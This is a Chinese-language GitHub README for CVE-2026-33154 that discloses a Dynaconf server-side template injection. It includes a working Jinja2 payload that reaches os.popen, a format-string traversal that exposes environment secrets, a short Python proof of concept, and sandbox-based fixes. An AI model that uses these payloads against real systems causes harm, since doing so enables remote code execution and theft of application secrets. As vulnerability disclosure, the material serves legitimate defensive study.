redyank/CVE-2026-33154
GitHub: redyank/CVE-2026-33154
CVE-2026-33154的PoC代码,演示如何通过污染Dynaconf配置源利用Jinja2模板注入实现RCE。
Stars: 0 | Forks: 1
# Dynaconf SSTI 漏洞报告
## 概述
Dynaconf 存在 **服务端模板注入 (SSTI)** 漏洞,原因是 `__@Jinja__` 解析器中的模板评估不安全。当安装了 `jinja2` 包时,Dynaconf 会 **在没有沙箱环境的情况下** 评估嵌入在配置值中的模板表达式。
如果攻击者能够影响以下配置源:
- 环境变量
- `.env` 文件
- 容器环境配置
- CI/CD 密钥
...他们就可以在主机系统上 **执行任意 OS 命令**。此外,`__@Format__` 解析器允许对象图遍历,这可能会暴露敏感的运行时对象和环境变量。
## 详情
该漏洞的产生是因为 Dynaconf 的字符串解析器缺乏适当的安全边界。
### 1. `__@Jinja__` 解析器
`__@Jinja__` 解析器使用完整的 Jinja2 评估来渲染模板。然而,渲染上下文 **并未沙箱化**,这允许攻击者访问 Python 的内部属性。利用诸如 `cycler` 之类的对象,攻击者可以到达 Python 的全局变量并导入 `os` 模块。
**攻击路径示例:**
```
cycler → __init__ → __globals__ → os → popen()
```
这会导致 **任意命令执行**。
### 2. `__@Format__` 解析器
`__@Format__` 解析器使用内部对象执行 Python 字符串格式化。这允许攻击者遍历 Python 的对象图并访问敏感的运行时对象。
**遍历示例:**
```
{this.__class__.__init__.__globals__[os].environ}
```
这可能会暴露:
- API 密钥
- 数据库凭证
- 内部服务令牌
- 环境密钥
## 概念验证 (PoC)
```
import os
from dynaconf import Dynaconf
# 恶意配置注入
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Command Execution Result:")
print(settings.RCE)
```
## 影响
成功利用此漏洞可让攻击者:
- 在主机系统上执行任意 OS 命令
- 访问敏感的环境变量
- 窃取应用密钥
- 完全攻陷正在运行的应用进程
由于配置值可能源自 CI/CD 流水线、容器编排系统或环境注入,因此在实际部署中,此漏洞可能变得 **可远程利用**。
## 修复 / 缓解措施
### 1. 使用 Jinja2 沙箱进行模板渲染
```
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
```
### 2. 将 `__@Format__` 的使用限制在受信任的值
```
safe_value = "{name}".format(name=trusted_name)
```
## 参考
- [GHSA-pxrr-hq57-q35p](https://github.com/advisories/GHSA-pxrr-hq57-q35p)
- [CVE-2026-33154 — NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-33154)
- [dynaconf/dynaconf@2fbb45e](https://github.com/dynaconf/dynaconf/commit/2fbb45e)
- [Dynaconf Release 3.2.13](https://github.com/dynaconf/dynaconf/releases/tag/3.2.13)
标签:CI/CD安全, CVE-2026-33154, Dynaconf, Jinja2, Llama, OWASP Top 10, PoC, Python, RCE, SSTI, 不安全的反序列化, 文档安全, 无后门, 暴力破解, 服务端模板注入, 沙箱逃逸, 环境变量漏洞, 编程工具, 远程代码执行, 逆向工具, 配置注入